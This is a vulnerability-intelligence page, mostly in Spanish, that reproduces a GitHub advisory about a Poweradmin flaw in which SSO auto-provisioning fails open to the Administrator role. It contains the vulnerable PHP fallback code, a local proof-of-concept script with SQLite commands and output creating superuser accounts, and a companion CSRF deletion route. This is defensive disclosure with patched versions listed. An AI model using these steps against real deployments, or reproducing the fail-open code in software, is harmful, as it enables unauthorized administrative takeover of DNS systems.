llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · poweradmin/poweradmin

GHSA-VW9H-W6H7-9WWM

Fail-open privilege assignment: OIDC/SAML auto-provisioning grants Administrator when the default permission template cannot be resolved

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche3 versiones4.2.6 · 4.3.5 · 4.4.1
Exposición78 dDesde la divulgación, 3 sept 2026, 11:39 p. m.
Detección76 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Anótala en tu libreta de pendientes serios.Huele a "ya lo veré". No la dejes así.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
4 sept 26
22 oct 26
19 nov 26
21 nov 26
4 sept 26
23 sept 26
13 oct 26
2 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-VW9H-W6H7-9WWM divulgada · CVSS 7.5 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

When Poweradmin auto-provisions a user from an external identity provider (OIDC or SAML), it selects the new account's permission template in `UserProvisioningService::determinePermissionTemplate()`. If the configured default template name cannot be resolved by exact match, the code falls back to `SELECT id FROM perm_templ ORDER BY id ASC LIMIT 1`, which in every shipped installation returns the bundled `Administrator` template holding `user_is_ueberuser`. Independently reproduced against commit `d814d61`: with the shipped `Guest` template present, provisioning correctly assigns Guest; with `Guest` removed (an ordinary housekeeping action, or one remotely triggerable via a companion CSRF finding) the identical provisioning call silently creates a fully active Administrator account for an external identity. Affects `<= 4.4.0`; unpatched.

Details

Vulnerable fallback chain, `UserProvisioningService::determinePermissionTemplate()`:

$defaultTemplateId = $this->findPermissionTemplateByName($defaultTemplateName);
if ($defaultTemplateId) {
    return $defaultTemplateId;
} else {
    $this->logError('Default permission template {template} not found in database!', [...]);
}

// Final fallback: find any available template (should not happen in normal operation)
$this->logWarning('Default permission template not found, using first available template');
$fallbackId = $this->findFirstAvailablePermissionTemplate();   // <-- fails OPEN
return $fallbackId;
private function findFirstAvailablePermissionTemplate(): ?int
{
    $stmt = $this->db->prepare("SELECT id FROM perm_templ ORDER BY id ASC LIMIT 1");
    ...
}

The bundled schema seeds `perm_templ` id 1 as `Administrator`, holding `perm_id 53 = user_is_ueberuser` (`'User has full access. God-like. Redeemer.'`). `findPermissionTemplateByName()` is a case-sensitive exact match (`WHERE name = ?`), so any of the following ordinary conditions trigger the fallback: the `Guest` template is renamed; the `Guest` template is deleted; the configured `default_permission_template` has a case or spelling mismatch (`'guest'` vs `'Guest'`). Nothing validates the configured template name at boot or at login; neither `OidcConfigurationService::validatePermissionTemplateMapping()` nor `ConfigValidator` check that the referenced template actually exists.

`createNewUser()` calls `determinePermissionTemplate(...)` with `$useDefaultFallback` defaulting to `true`, and inserts the returned id directly as the new user's `perm_templ` together with `active = 1`. The existing-user update path is not affected: it calls the same function with `$useDefaultFallback = false`, which returns `null` (keeping current permissions) rather than falling back.

The precondition is remotely creatable. A companion finding (missing CSRF protection on `GET /permissions/templates/{id}/delete?confirm=1`) allows any logged-in operator's browser to delete the `Guest` template with a single top-level navigation, provided no user is currently assigned to it, exactly the state of a fresh SSO deployment before its first external login.

PoC

All testing below was performed locally, invoking the actual application source directly via the PHP CLI (`php poc_provision2.php ...`) against a self-hosted SQLite database built from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment, and not any real identity provider; `OidcUserInfo` objects are constructed directly in the test script rather than obtained via a live OIDC login flow, since standing up a real IdP was outside the scope of this local test).

Direct invocation of the real production entry point, `UserProvisioningService::provisionUser()` (the actual, unmodified application code, not a mock or stub), with a genuine `OidcUserInfo` object of the type `OidcService::handleCallback()` builds from an actual IdP response.

Control, with `Guest` present:

// poc_provision2.php
$info = new OidcUserInfo("control_oidc_user2", "control_oidc_user2@external.example",
    'Ext', 'User', "control_oidc_user2 display", [], 'corp-idp', "sub-control_oidc_user2-0001",
    ['sub' => "sub-control_oidc_user2-0001"], null);
var_dump($info->isValid());
$id = $svc->provisionUser($info, 'corp-idp');
// ... fetch and print the resulting row
$ php poc_provision2.php control_oidc_user2
bool(true)
user=control_oidc_user2 perm_templ=5 (Guest) active=1 auth=oidc IS_UEBERUSER=no
$ sqlite3 -header pa.db "SELECT id,username,email,perm_templ,active,auth_method FROM users WHERE username='control_oidc_user2';"
id|username|email|perm_templ|active|auth_method
14|control_oidc_user2|control_oidc_user2@external.example|5|1|oidc

Trigger, `Guest` template removed (`DELETE FROM perm_templ WHERE id=5`), otherwise identical call:

$ sqlite3 pa.db "DELETE FROM perm_templ WHERE id=5;"
$ php poc_provision2.php attacker_oidc_user3
bool(true)
user=attacker_oidc_user3 perm_templ=1 (Administrator) active=1 auth=oidc IS_UEBERUSER=YES ***SUPERUSER***
$ sqlite3 -header pa.db "SELECT id,username,email,perm_templ,active,auth_method FROM users WHERE username='attacker_oidc_user3';"
id|username|email|perm_templ|active|auth_method
15|attacker_oidc_user3|attacker_oidc_user3@external.example|1|1|oidc

Re-confirmed with a second, distinct username to rule out a one-off artifact:

$ php poc_provision2.php attacker_oidc_user4
bool(true)
user=attacker_oidc_user4 perm_templ=1 (Administrator) active=1 auth=oidc IS_UEBERUSER=YES ***SUPERUSER***
$ sqlite3 -header pa.db "SELECT id,username,email,perm_templ,active,auth_method FROM users WHERE username='attacker_oidc_user4';"
id|username|email|perm_templ|active|auth_method
16|attacker_oidc_user4|attacker_oidc_user4@external.example|1|1|oidc
Impact

Any first-time login through a configured OIDC or SAML provider, once the `Guest` template becomes unavailable for any reason (a rename, a deletion, or a single-character configuration typo) is silently provisioned as a full administrator: complete control of every DNS zone, all users and permission templates, API keys, and DNSSEC operations. No attacker action beyond authenticating at the identity provider is required once the precondition exists, and the precondition itself can arise from ordinary operator housekeeping or be created remotely via the companion CSRF finding with no attacker credentials at all.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
5.9/ 10Medio
Vector 5.9 (moderada) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
poweradmin/poweradmin≥ 4.1.0 < 4.2.6
poweradmin/poweradmin≥ 4.3.0 < 4.3.5
poweradmin/poweradmin≥ 4.4.0 < 4.4.1
4.1.0
4.2.6
4.3.0
4.3.5
4.4.0
4.4.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistpoweradmin/poweradmin
Corregida 4.2.6, 4.3.5, 4.4.1 — —
Versiones corregidas4.2.64.3.54.4.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/poweradmin/poweradmin/security/advisories/GHSA-vw9h-w6h7-9wwm

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.